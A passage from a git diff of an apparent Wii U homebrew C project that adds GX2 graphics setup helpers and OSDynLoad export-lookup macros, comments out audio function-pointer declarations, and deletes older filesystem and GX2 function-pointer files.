i++) + colorBuffer->surface.mipLevelOffset[i] = 0; + colorBuffer->viewMip = 0; + colorBuffer->viewFirstSlice = 0; + colorBuffer->viewNumSlices = depth; + colorBuffer->aaBuffer = NULL; + colorBuffer->aaSize = 0; + for(i = 0; i < 5; i++) + colorBuffer->regs[i] = 0; + + GX2CalcSurfaceSizeAndAlignment(&colorBuffer->surface); + GX2InitColorBufferRegs(colorBuffer); +} + +static inline void GX2InitAttribStream(GX2AttribStream* attr, u32 location, u32 buffer, u32 offset, GX2AttribFormat format) +{ + attr->location = location; + attr->buffer = buffer; + attr->offset = offset; + attr->format = format; + attr->type = GX2_ATTRIB_INDEX_PER_VERTEX; + attr->aluDivisor = 0; + attr->mask = attribute_dest_comp_selector[format & 0xff]; + attr->endianSwap = GX2_ENDIAN_SWAP_DEFAULT; +} + +static inline void GX2InitTexture(GX2Texture *tex, u32 width, u32 height, u32 depth, u32 mipLevels, GX2SurfaceFormat format, GX2SurfaceDim dim, GX2TileMode tile) +{ + tex->surface.dim = dim; + tex->surface.width = width; + tex->surface.height = height; + tex->surface.depth = depth; + tex->surface.mipLevels = mipLevels; + tex->surface.format = format; + tex->surface.aa = GX2_AA_MODE1X; + tex->surface.use = GX2_SURFACE_USE_TEXTURE; + tex->surface.imageSize = 0; + tex->surface.image = NULL; + tex->surface.mipmapSize = 0; + tex->surface.mipmaps = NULL; + tex->surface.tileMode = tile; + tex->surface.swizzle = 0; + tex->surface.alignment = 0; + tex->surface.pitch = 0; + u32 i; + for(i = 0; i < 13; i++) + tex->surface.mipLevelOffset[i] = 0; + tex->viewFirstMip = 0; + tex->viewNumMips = mipLevels; + tex->viewFirstSlice = 0; + tex->viewNumSlices = depth; + tex->compMap = texture_comp_selector[format & 0x3f]; + for(i = 0; i < 5; i++) + tex->regs[i] = 0; + + GX2CalcSurfaceSizeAndAlignment(&tex->surface); + GX2InitTextureRegs(tex); +} + +#ifdef __cplusplus +} +#endif + +#endif /* COMMON_H */ + diff --git a/src/common/types.h b/src/common/types.h index 3435e56..c1eb26c 100644 --- a/src/common/types.h +++ b/src/common/types.h @@ -1,7 +1,7 @@ #ifndef TYPES_H #define TYPES_H -#include +#include #endif /* TYPES_H */ diff --git a/src/dynamic_libs/ax_functions.c b/src/dynamic_libs/ax_functions.c index fc1c571..a50440d 100644 --- a/src/dynamic_libs/ax_functions.c +++ b/src/dynamic_libs/ax_functions.c @@ -22,9 +22,9 @@ * distribution. ***************************************************************************/ #include "common/common.h" -#include "os_functions.h" +#include "exports.h" #include "ax_functions.h" - +/* EXPORT_DECL(void, AXInitWithParams, u32 * params); EXPORT_DECL(void, AXInit, void); EXPORT_DECL(void, AXQuit, void); @@ -46,9 +46,10 @@ EXPORT_DECL(void, AXRegisterFrameCallback, void * callback); EXPORT_DECL(u32, AXGetVoiceLoopCount, void *v); EXPORT_DECL(void, AXSetVoiceEndOffset, void *v, u32 offset); EXPORT_DECL(void, AXSetVoiceLoopOffset, void *v, u32 offset); - +*/ void InitAXFunctionPointers(void) { + /* unsigned int sound_handle = 0; unsigned int *funcPointer = 0; @@ -86,6 +87,7 @@ void InitAXFunctionPointers(void) OS_FIND_EXPORT(sound_handle, AXGetVoiceLoopCount); OS_FIND_EXPORT(sound_handle, AXSetVoiceEndOffset); OS_FIND_EXPORT(sound_handle, AXSetVoiceLoopOffset); + */ } void ProperlyEndTransitionAudio(void) @@ -95,7 +97,7 @@ void ProperlyEndTransitionAudio(void) void (* AXQuit_old)(void); unsigned int *funcPointer = 0; - unsigned int sound_handle; + OSDynLoadModule sound_handle; OSDynLoad_Acquire("snd_core.rpl", &sound_handle); OS_FIND_EXPORT_EX(sound_handle, check_os_audio_transition_flag, check_os_audio_transition_flag_old); diff --git a/src/dynamic_libs/ax_functions.h b/src/dynamic_libs/ax_functions.h index b7df998..ac2deec 100644 --- a/src/dynamic_libs/ax_functions.h +++ b/src/dynamic_libs/ax_functions.h @@ -28,32 +28,11 @@ extern "C" { #endif -#include +#include "common/types.h" void InitAXFunctionPointers(void); void ProperlyEndTransitionAudio(void); -extern void (* AXInitWithParams)(u32 * params); -extern void (* AXInit)(void); -extern void (* AXQuit)(void); -extern u32 (* AXGetInputSamplesPerSec)(void); -extern s32 (* AXVoiceBegin)(void *v); -extern s32 (* AXVoiceEnd)(void *v); -extern void (* AXSetVoiceType)(void *v, u16 type); -extern void (* AXSetVoiceOffsets)(void *v, const void *buf); -extern void (* AXSetVoiceSrcType)(void *v, u32 type); -extern void (* AXSetVoiceVe)(void *v, const void *vol); -extern s32 (* AXSetVoiceDeviceMix)(void *v, s32 device, u32 id, void *mix); -extern void (* AXSetVoiceState)(void *v, u16 state); -extern void (* AXSetVoiceSrc)(void *v, const void *src); -extern s32 (* AXSetVoiceSrcRatio)(void *v, f32 ratio); -extern void * (* AXAcquireVoice)(u32 prio, void * callback, u32 arg); -extern void (* AXFreeVoice)(void *v); -extern void (* AXRegisterFrameCallback)(void * callback); -extern u32 (* AXGetVoiceLoopCount)(void * v); -extern void (* AXSetVoiceEndOffset)(void * v, u32 offset); -extern void (* AXSetVoiceLoopOffset)(void * v, u32 offset); - #ifdef __cplusplus } #endif diff --git a/src/dynamic_libs/exports.h b/src/dynamic_libs/exports.h new file mode 100644 index 0000000..53ba488 --- /dev/null +++ b/src/dynamic_libs/exports.h @@ -0,0 +1,26 @@ +#ifndef __EXPORTS_H_ +#define __EXPORTS_H_ + +#include +#include + +#define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__) __attribute__((section(".data"))) = 0; +#define EXPORT_VAR(type, var) type var __attribute__((section(".data"))); + + +#define EXPORT_FUNC_WRITE(func, val) *(u32*)(((u32)&func) + 0) = (u32)val + +#define OS_FIND_EXPORT(handle, func) funcPointer = 0; \ + OSDynLoad_FindExport(handle, 0, # func, (void**) &funcPointer); \ + if(!funcPointer) \ + OSFatal("Function " # func " is NULL"); \ + EXPORT_FUNC_WRITE(func, funcPointer); + +#define OS_FIND_EXPORT_EX(handle, func, func_p) \ + funcPointer = 0; \ + OSDynLoad_FindExport(handle, 0, # func, (void**) &funcPointer); \ + if(!funcPointer) \ + OSFatal("Function " # func " is NULL"); \ + EXPORT_FUNC_WRITE(func_p, funcPointer); + +#endif diff --git a/src/dynamic_libs/fs_functions.c b/src/dynamic_libs/fs_functions.c deleted file mode 100644 index cdcc0bf..0000000 --- a/src/dynamic_libs/fs_functions.c +++ /dev/null @@ -1,120 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "fs_functions.h" -#include "os_functions.h" -#include "utils/utils.h" - -EXPORT_DECL(int, FSInit, void); -EXPORT_DECL(int, FSShutdown, void); -EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); -EXPORT_DECL(int, FSDelClient, void *pClient); -EXPORT_DECL(void, FSInitCmdBlock, void *pCmd); -EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling); - -EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling); -EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling); - -EXPORT_DECL(int, FSGetStat, void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling); -EXPORT_DECL(int, FSGetStatAsync, void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams); -EXPORT_DECL(int, FSRename, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); -EXPORT_DECL(int, FSRenameAsync, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); -EXPORT_DECL(int, FSRemove, void *pClient, void *pCmd, const char *path, int error); -EXPORT_DECL(int, FSRemoveAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -EXPORT_DECL(int, FSFlushQuota, void *pClient, void *pCmd, const char* path, int error); -EXPORT_DECL(int, FSFlushQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -EXPORT_DECL(int, FSGetFreeSpaceSize, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error); -EXPORT_DECL(int, FSGetFreeSpaceSizeAsync, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams); -EXPORT_DECL(int, FSRollbackQuota, void *pClient, void *pCmd, const char *path, int error); -EXPORT_DECL(int, FSRollbackQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -EXPORT_DECL(int, FSOpenDir, void *pClient, void *pCmd, const char *path, int *dh, int errHandling); -EXPORT_DECL(int, FSOpenDirAsync, void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams); -EXPORT_DECL(int, FSReadDir, void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling); -EXPORT_DECL(int, FSRewindDir, void *pClient, void *pCmd, int dh, int errHandling); -EXPORT_DECL(int, FSCloseDir, void *pClient, void *pCmd, int dh, int errHandling); -EXPORT_DECL(int, FSChangeDir, void *pClient, void *pCmd, const char *path, int errHandling); -EXPORT_DECL(int, FSChangeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -EXPORT_DECL(int, FSMakeDir, void *pClient, void *pCmd, const char *path, int errHandling); -EXPORT_DECL(int, FSMakeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); -EXPORT_DECL(int, FSOpenFileAsync, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams); -EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); -EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling); - -EXPORT_DECL(int, FSFlushFile, void *pClient, void *pCmd, int fd, int error); -EXPORT_DECL(int, FSTruncateFile, void *pClient, void *pCmd, int fd, int error); -EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error); -EXPORT_DECL(int, FSSetPosFile, void *pClient, void *pCmd, int fd, int pos, int error); -EXPORT_DECL(int, FSWriteFile, void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error); - -void InitFSFunctionPointers(void) -{ - unsigned int *funcPointer = 0; - - OS_FIND_EXPORT(coreinit_handle, FSInit); - OS_FIND_EXPORT(coreinit_handle, FSShutdown); - OS_FIND_EXPORT(coreinit_handle, FSAddClientEx); - OS_FIND_EXPORT(coreinit_handle, FSDelClient); - OS_FIND_EXPORT(coreinit_handle, FSInitCmdBlock); - OS_FIND_EXPORT(coreinit_handle, FSGetMountSource); - - OS_FIND_EXPORT(coreinit_handle, FSMount); - OS_FIND_EXPORT(coreinit_handle, FSUnmount); - - OS_FIND_EXPORT(coreinit_handle, FSGetStat); - OS_FIND_EXPORT(coreinit_handle, FSGetStatAsync); - OS_FIND_EXPORT(coreinit_handle, FSRename); - OS_FIND_EXPORT(coreinit_handle, FSRenameAsync); - OS_FIND_EXPORT(coreinit_handle, FSRemove); - OS_FIND_EXPORT(coreinit_handle, FSRemoveAsync); - OS_FIND_EXPORT(coreinit_handle, FSFlushQuota); - OS_FIND_EXPORT(coreinit_handle, FSFlushQuotaAsync); - OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSize); - OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSizeAsync); - OS_FIND_EXPORT(coreinit_handle, FSRollbackQuota); - OS_FIND_EXPORT(coreinit_handle, FSRollbackQuotaAsync); - - OS_FIND_EXPORT(coreinit_handle, FSOpenDir); - OS_FIND_EXPORT(coreinit_handle, FSOpenDirAsync); - OS_FIND_EXPORT(coreinit_handle, FSReadDir); - OS_FIND_EXPORT(coreinit_handle, FSRewindDir); - OS_FIND_EXPORT(coreinit_handle, FSCloseDir); - OS_FIND_EXPORT(coreinit_handle, FSChangeDir); - OS_FIND_EXPORT(coreinit_handle, FSChangeDirAsync); - OS_FIND_EXPORT(coreinit_handle, FSMakeDir); - OS_FIND_EXPORT(coreinit_handle, FSMakeDirAsync); - - - OS_FIND_EXPORT(coreinit_handle, FSOpenFile); - OS_FIND_EXPORT(coreinit_handle, FSOpenFileAsync); - OS_FIND_EXPORT(coreinit_handle, FSReadFile); - OS_FIND_EXPORT(coreinit_handle, FSCloseFile); - - OS_FIND_EXPORT(coreinit_handle, FSFlushFile); - OS_FIND_EXPORT(coreinit_handle, FSTruncateFile); - OS_FIND_EXPORT(coreinit_handle, FSGetStatFile); - OS_FIND_EXPORT(coreinit_handle, FSSetPosFile); - OS_FIND_EXPORT(coreinit_handle, FSWriteFile); -} diff --git a/src/dynamic_libs/fs_functions.h b/src/dynamic_libs/fs_functions.h deleted file mode 100644 index 7a185e1..0000000 --- a/src/dynamic_libs/fs_functions.h +++ /dev/null @@ -1,87 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#ifndef __FS_FUNCTIONS_H_ -#define __FS_FUNCTIONS_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -#include "common/fs_defs.h" - -void InitFSFunctionPointers(void); - -extern int (* FSInit)(void); -extern int (* FSShutdown)(void); -extern int (* FSAddClientEx)(void *pClient, int unk_zero_param, int errHandling); -extern int (* FSDelClient)(void *pClient); -extern void (* FSInitCmdBlock)(void *pCmd); -extern int (* FSGetMountSource)(void *pClient, void *pCmd, int type, void *source, int errHandling); - -extern int (* FSMount)(void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling); -extern int (* FSUnmount)(void *pClient, void *pCmd, const char *target, int errHandling); -extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); -extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); -extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error); -extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -extern int (* FSGetStat)(void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling); -extern int (* FSGetStatAsync)(void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams); -extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error); -extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams); -extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error); -extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -extern int (* FSFlushQuota)(void *pClient, void *pCmd, const char* path, int error); -extern int (* FSFlushQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -extern int (* FSGetFreeSpaceSize)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error); -extern int (* FSGetFreeSpaceSizeAsync)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams); -extern int (* FSRollbackQuota)(void *pClient, void *pCmd, const char *path, int error); -extern int (* FSRollbackQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -extern int (* FSOpenDir)(void *pClient, void *pCmd, const char *path, int *dh, int errHandling); -extern int (* FSOpenDirAsync)(void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams); -extern int (* FSReadDir)(void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling); -extern int (* FSRewindDir)(void *pClient, void *pCmd, int dh, int errHandling); -extern int (* FSCloseDir)(void *pClient, void *pCmd, int dh, int errHandling); -extern int (* FSChangeDir)(void *pClient, void *pCmd, const char *path, int errHandling); -extern int (* FSChangeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); -extern int (* FSMakeDir)(void *pClient, void *pCmd, const char *path, int errHandling); -extern int (* FSMakeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams); - -extern int (* FSOpenFile)(void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); -extern int (* FSOpenFileAsync)(void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams); -extern int (* FSReadFile)(void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); -extern int (* FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling); - -extern int (* FSFlushFile)(void *pClient, void *pCmd, int fd, int error); -extern int (* FSTruncateFile)(void *pClient, void *pCmd, int fd, int error); -extern int (* FSGetStatFile)(void *pClient, void *pCmd, int fd, void *buffer, int error); -extern int (* FSSetPosFile)(void *pClient, void *pCmd, int fd, int pos, int error); -extern int (* FSWriteFile)(void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error); - -#ifdef __cplusplus -} -#endif - -#endif // __FS_FUNCTIONS_H_ diff --git a/src/dynamic_libs/gx2_functions.c b/src/dynamic_libs/gx2_functions.c deleted file mode 100644 index b9bf671..0000000 --- a/src/dynamic_libs/gx2_functions.c +++ /dev/null @@ -1,162 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - ***************************************************************************/ -#include "os_functions.h" -#include "gx2_types.h" -#include "utils/utils.h" - -EXPORT_DECL(void, GX2Init, u32 * init_attribs); -EXPORT_DECL(void, GX2Shutdown, void); -EXPORT_DECL(void, GX2Flush, void); -EXPORT_DECL(s32, GX2GetMainCoreId, void) ; -EXPORT_DECL(s32, GX2DrawDone, void); -EXPORT_DECL(void, GX2ClearColor, GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a); -EXPORT_DECL(void, GX2SetViewport, f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ); -EXPORT_DECL(void, GX2SetScissor, u32 x_orig, u32 y_orig, u32 wd, u32 ht); -EXPORT_DECL(void, GX2SetContextState, const GX2ContextState* state); -EXPORT_DECL(void, GX2DrawEx, s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count); -EXPORT_DECL(void, GX2DrawIndexedEx, s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count); -EXPORT_DECL(void, GX2ClearDepthStencilEx, GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode); -EXPORT_DECL(void, GX2CopyColorBufferToScanBuffer, const GX2ColorBuffer *colorBuffer, s32 scan_target); -EXPORT_DECL(void, GX2SwapScanBuffers, void); -EXPORT_DECL(void, GX2SetTVEnable, s32 enable); -EXPORT_DECL(void, GX2SetSwapInterval, u32 swap_interval); -EXPORT_DECL(u32, GX2GetSwapInterval, void); -EXPORT_DECL(void, GX2WaitForVsync, void); -EXPORT_DECL(void, GX2CalcTVSize, s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed); -EXPORT_DECL(void, GX2Invalidate, s32 invalidate_type, void * ptr, u32 buffer_size); -EXPORT_DECL(void, GX2SetTVBuffer, void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode); -EXPORT_DECL(void, GX2CalcSurfaceSizeAndAlignment, GX2Surface *surface); -EXPORT_DECL(void, GX2InitDepthBufferRegs, GX2DepthBuffer *depthBuffer); -EXPORT_DECL(void, GX2InitColorBufferRegs, GX2ColorBuffer *colorBuffer); -EXPORT_DECL(void, GX2CalcColorBufferAuxInfo, GX2ColorBuffer *colorBuffer, u32 *size, u32 *align); -EXPORT_DECL(void, GX2CalcDepthBufferHiZInfo, GX2DepthBuffer *depthBuffer, u32 *size, u32 *align); -EXPORT_DECL(void, GX2InitDepthBufferHiZEnable, GX2DepthBuffer *depthBuffer, s32 hiZ_enable); -EXPORT_DECL(void, GX2SetupContextStateEx, GX2ContextState* state, s32 enable_profiling); -EXPORT_DECL(void, GX2SetColorBuffer, const GX2ColorBuffer *colorBuffer, s32 target); -EXPORT_DECL(void, GX2SetDepthBuffer, const GX2DepthBuffer *depthBuffer); -EXPORT_DECL(void, GX2SetAttribBuffer, u32 attr_index, u32 attr_size, u32 stride, const void* attr); -EXPORT_DECL(void, GX2InitTextureRegs, GX2Texture *texture); -EXPORT_DECL(void, GX2InitSampler, GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter); -EXPORT_DECL(u32, GX2CalcFetchShaderSizeEx, u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode); -EXPORT_DECL(void, GX2InitFetchShaderEx, GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode); -EXPORT_DECL(void, GX2SetFetchShader, const GX2FetchShader* fs); -EXPORT_DECL(void, GX2SetVertexUniformReg, u32 offset, u32 count, const void *values); -EXPORT_DECL(void, GX2SetPixelUniformReg, u32 offset, u32 count, const void *values); -EXPORT_DECL(void, GX2SetPixelTexture, const GX2Texture *texture, u32 texture_hw_location); -EXPORT_DECL(void, GX2SetVertexTexture, const GX2Texture *texture, u32 texture_hw_location); -EXPORT_DECL(void, GX2SetPixelSampler, const GX2Sampler *sampler, u32 sampler_hw_location); -EXPORT_DECL(void, GX2SetVertexSampler, const GX2Sampler *sampler, u32 sampler_hw_location); -EXPORT_DECL(void, GX2SetPixelShader, const GX2PixelShader* pixelShader); -EXPORT_DECL(void, GX2SetVertexShader, const GX2VertexShader* vertexShader); -EXPORT_DECL(void, GX2InitSamplerZMFilter, GX2Sampler *sampler, s32 z_filter, s32 mip_filter); -EXPORT_DECL(void, GX2SetColorControl, s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer); -EXPORT_DECL(void, GX2SetDepthOnlyControl, s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function); -EXPORT_DECL(void, GX2SetBlendControl, s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine); -EXPORT_DECL(void, GX2CalcDRCSize, s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed); -EXPORT_DECL(void, GX2SetDRCBuffer, void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode); -EXPORT_DECL(void, GX2SetDRCScale, u32 width, u32 height); -EXPORT_DECL(void, GX2SetDRCEnable, s32 enable); -EXPORT_DECL(void, GX2SetPolygonControl, s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset); -EXPORT_DECL(void, GX2SetCullOnlyControl, s32 front_face_mode, s32 cull_front, s32 cull_back); -EXPORT_DECL(void, GX2SetDepthStencilControl, s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable, - s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail, - s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail); -EXPORT_DECL(void, GX2SetStencilMask, u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back); -EXPORT_DECL(void, GX2SetLineWidth, f32 width); -EXPORT_DECL(void, GX2SetTVGamma, f32 val); -EXPORT_DECL(void, GX2SetDRCGamma, f32 gam); -EXPORT_DECL(s32, GX2GetSystemTVScanMode, void); -EXPORT_DECL(s32, GX2GetSystemDRCScanMode, void); -EXPORT_DECL(void, GX2RSetAllocator, void * (* allocFunc)(u32, u32, u32), void (* freeFunc)(u32, void*)); - - -void InitGX2FunctionPointers(void) -{ - unsigned int *funcPointer = 0; - unsigned int gx2_handle; - OSDynLoad_Acquire("gx2.rpl", &gx2_handle); - - OS_FIND_EXPORT(gx2_handle, GX2Init); - OS_FIND_EXPORT(gx2_handle, GX2Shutdown); - OS_FIND_EXPORT(gx2_handle, GX2Flush); - OS_FIND_EXPORT(gx2_handle, GX2GetMainCoreId); - OS_FIND_EXPORT(gx2_handle, GX2DrawDone); - OS_FIND_EXPORT(gx2_handle, GX2ClearColor); - OS_FIND_EXPORT(gx2_handle, GX2SetViewport); - OS_FIND_EXPORT(gx2_handle, GX2SetScissor); - OS_FIND_EXPORT(gx2_handle, GX2SetContextState); - OS_FIND_EXPORT(gx2_handle, GX2DrawEx); - OS_FIND_EXPORT(gx2_handle, GX2DrawIndexedEx); - OS_FIND_EXPORT(gx2_handle, GX2ClearDepthStencilEx); - OS_FIND_EXPORT(gx2_handle, GX2CopyColorBufferToScanBuffer); - OS_FIND_EXPORT(gx2_handle, GX2SwapScanBuffers); - OS_FIND_EXPORT(gx2_handle, GX2SetTVEnable); - OS_FIND_EXPORT(gx2_handle, GX2SetSwapInterval); - OS_FIND_EXPORT(gx2_handle, GX2GetSwapInterval); - OS_FIND_EXPORT(gx2_handle, GX2WaitForVsync); - OS_FIND_EXPORT(gx2_handle, GX2CalcTVSize); - OS_FIND_EXPORT(gx2_handle, GX2Invalidate); - OS_FIND_EXPORT(gx2_handle, GX2SetTVBuffer); - OS_FIND_EXPORT(gx2_handle, GX2CalcSurfaceSizeAndAlignment); - OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferRegs); - OS_FIND_EXPORT(gx2_handle, GX2InitColorBufferRegs); - OS_FIND_EXPORT(gx2_handle, GX2CalcColorBufferAuxInfo); - OS_FIND_EXPORT(gx2_handle, GX2CalcDepthBufferHiZInfo); - OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferHiZEnable); - OS_FIND_EXPORT(gx2_handle, GX2SetupContextStateEx); - OS_FIND_EXPORT(gx2_handle, GX2SetColorBuffer); - OS_FIND_EXPORT(gx2_handle, GX2SetDepthBuffer); - OS_FIND_EXPORT(gx2_handle, GX2SetAttribBuffer); - OS_FIND_EXPORT(gx2_handle, GX2InitTextureRegs); - OS_FIND_EXPORT(gx2_handle, GX2InitSampler); - OS_FIND_EXPORT(gx2_handle, GX2CalcFetchShaderSizeEx); - OS_FIND_EXPORT(gx2_handle, GX2InitFetchShaderEx); - OS_FIND_EXPORT(gx2_handle, GX2SetFetchShader); - OS_FIND_EXPORT(gx2_handle, GX2SetVertexUniformReg); - OS_FIND_EXPORT(gx2_handle, GX2SetPixelUniformReg); - OS_FIND_EXPORT(gx2_handle, GX2SetPixelTexture); - OS_FIND_EXPORT(gx2_handle, GX2SetVertexTexture); - OS_FIND_EXPORT(gx2_handle, GX2SetPixelSampler); - OS_FIND_EXPORT(gx2_handle, GX2SetVertexSampler); - OS_FIND_EXPORT(gx2_handle, GX2SetPixelShader); - OS_FIND_EXPORT(gx2_handle, GX2SetVertexShader); - OS_FIND_EXPORT(gx2_handle, GX2InitSamplerZMFilter); - OS_FIND_EXPORT(gx2_handle, GX2SetColorControl); - OS_FIND_EXPORT(gx2_handle, GX2SetDepthOnlyControl); - OS_FIND_EXPORT(gx2_handle, GX2SetBlendControl); - OS_FIND_EXPORT(gx2_handle, GX2CalcDRCSize); - OS_FIND_EXPORT(gx2_handle, GX2SetDRCBuffer); - OS_FIND_EXPORT(gx2_handle, GX2SetDRCScale); - OS_FIND_EXPORT(gx2_handle, GX2SetDRCEnable); - OS_FIND_EXPORT(gx2_handle, GX2SetPolygonControl); - OS_FIND_EXPORT(gx2_handle, GX2SetCullOnlyControl); - OS_FIND_EXPORT(gx2_handle, GX2SetDepthStencilControl); - OS_FIND_EXPORT(gx2_handle, GX2SetStencilMask); - OS_FIND_EXPORT(gx2_handle, GX2SetLineWidth); - OS_FIND_EXPORT(gx2_handle, GX2SetDRCGamma); - OS_FIND_EXPORT(gx2_handle, GX2SetTVGamma); - OS_FIND_EXPORT(gx2_handle, GX2GetSystemTVScanMode); - OS_FIND_EXPORT(gx2_handle, GX2GetSystemDRCScanMode); - OS_FIND_EXPORT(gx2_handle, GX2RSetAllocator); -} diff --git a/src/dynamic_libs/gx2_functions.h b/src/dynamic_libs/gx2_functions.h deleted file mode 100644 index 1737833..0000000 --- a/src/dynamic_libs/gx2_functions.h +++ /dev/null @@ -1,205 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this 